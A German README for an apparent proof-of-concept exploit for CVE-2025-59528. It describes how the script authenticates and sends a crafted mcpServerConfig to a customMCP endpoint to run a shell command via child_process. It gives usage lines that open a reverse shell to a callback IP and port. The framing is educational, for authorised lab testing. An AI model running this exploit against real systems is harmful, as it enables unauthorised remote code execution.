CVE-2025-59528 PoC zu Bildungszwecken

Nur zu Bildungszwecken. Dieses Projekt ist für kontrollierte Sicherheitsforschung, Demonstrationen im Unterricht und autorisierte Tests in einer isolierten Laborumgebung vorgesehen. Verwenden Sie es nicht gegen Systeme, Netzwerke, Anwendungen oder Konten, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

Was dieser PoC demonstriert

Dieses Proof of Concept zeigt, wie ein unsachgemäß behandelter mcpServerConfig-Wert serverseitige JavaScript-Auswertung und Befehlsausführung über die customMCP-Node-Load-Funktionalität ermöglichen kann.

Das Skript unterstützt zwei Authentifizierungsmethoden:

• E-Mail/Passwort: authentifiziert sich über den Login-Endpunkt der Anwendung und verwendet die zurückgegebenen Sitzungscookies erneut.
• Bearer-Token: sendet einen API-Schlüssel im Authorization-Header.

Nach der Authentifizierung übermittelt das Skript eine präparierte Konfiguration an /api/v1/node-load-method/customMCP. Der Payload nutzt die Node.js-Child-Process-Funktionalität, um einen Shell-Befehl auszuführen und eine Rückverbindung zu einem vom Forscher kontrollierten Listener herzustellen. Dieses Verhalten ist nur enthalten, um die potenziellen Auswirkungen in einer autorisierten Laborumgebung zu demonstrieren.

Voraussetzungen

• Python 3.
• Das Paket requests.

Installieren Sie die Abhängigkeit mit:

python3 -m pip install requests

Verwendung

Speichern Sie das Skript als CVE-2025-59528.py.

Modus mit E-Mail und Passwort

python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>

Beispiel mit Werten, die nur der Dokumentation dienen:

python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444

Bearer-Token-Modus

python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>

Beispiel mit Werten, die nur der Dokumentation dienen:

python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444

Das Skript setzt voraus, dass die folgenden Anwendungsrouten verfügbar sind:

• /api/v1/auth/login
• /api/v1/node-load-method/customMCP

Das aktuelle Skript erstellt http://-URLs. Aktualisieren Sie die Implementierung für HTTPS, wenn Sie eine Laborbereitstellung testen, die TLS erfordert.

So funktioniert der Code

1. main() validiert die Anzahl der Befehlszeilenargumente und wählt den Authentifizierungsmodus.
2. login() sendet die bereitgestellten Anmeldedaten an den Login-Endpunkt.
3. tokens() extrahiert die Sitzungswerte aus dem Set-Cookie-Antwortheader.
4. shell() erstellt die authentifizierte Anfrage und übermittelt den präparierten mcpServerConfig-Wert.
5. bearer() führt dieselbe Anfrage mit einem Bearer-Token anstelle von Sitzungscookies aus.
6. Der Antworttext wird ausgegeben, damit der Forscher das Ergebnis mit den Anwendungs- und Serverprotokollen abgleichen kann.